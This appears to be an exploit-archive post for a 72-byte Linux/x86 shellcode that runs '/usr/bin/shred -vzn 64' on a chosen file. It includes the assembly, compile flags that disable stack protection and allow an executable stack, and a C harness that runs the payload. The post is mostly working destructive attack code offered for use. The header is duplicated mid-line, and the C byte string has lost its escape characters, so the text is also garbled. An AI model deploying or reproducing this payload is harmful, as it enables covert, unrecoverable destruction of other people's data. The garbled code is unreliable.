# Exploit Title: Linux/x86 shred file (72 bytes)
# Google Dork: None
# Date: 02.05.2019
# Exploit Author: strider
# Vendor Homepage: None
# Software Link: None
# Tested # Exploit Title: Linux/x86 shred file (72 bytes)
# Google Dork: None
# Date: 02.05.2019
# Exploit Author: strider
# Vendor Homepage: None
# Software Link: None
# Tested on: Debian 9 Stretch i386/ Kali Linux i386
# CVE : None
# Shellcode Length: 72
------------------------------[Description]---------------------------------

This shellcode shred files 64 times

replace test.txt with any file you want.

-----------------------------[Shellcode Dump]---------------------------------
section .text

global _start

_start:
xor eax, eax
push eax

push word 0x6465
push 0x7268732f
push 0x6e69622f
push 0x7273752f

mov ebx, esp
jmp short _file

_params:
pop ecx
mov ebp, ecx
xor ecx, ecx
push eax
push 0x6e7a762d
mov esi, esp

push eax
push word 0x3436
xor edx, edx
mov edi, esp

_exec:
push eax
push ebp
push edi
push esi
push ebx
mov ecx, esp
mov al, 0xb

int 0x80

_file:
call _params
string db "test.txt"; replace test.txt with any file you want

-----------------------------[Compile]---------------------------------------------
gcc -m32 -fno-stack-protector -z execstack -o tester tester.c

-----------------------------[C-Code]-----------------------------

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = "x31xc0x50x66x68x65x64x68x2fx73x68x72x68x2fx62x69x6ex68x2fx75x73x72x89xe3xebx21x59x89xcdx31xc9x50x68x2dx76x7ax6ex89xe6x50x66x68x36x34x31xd2x89xe7x50x55x57x56x53x89xe1xb0x0bxcdx80xe8xdaxffxffxffx74x65x73x74x2ex74x78x74";
void main()
{
printf("Shellcode Length: %d ", strlen(shellcode));

int (*ret)() = (int(*)())shellcode;
ret();
}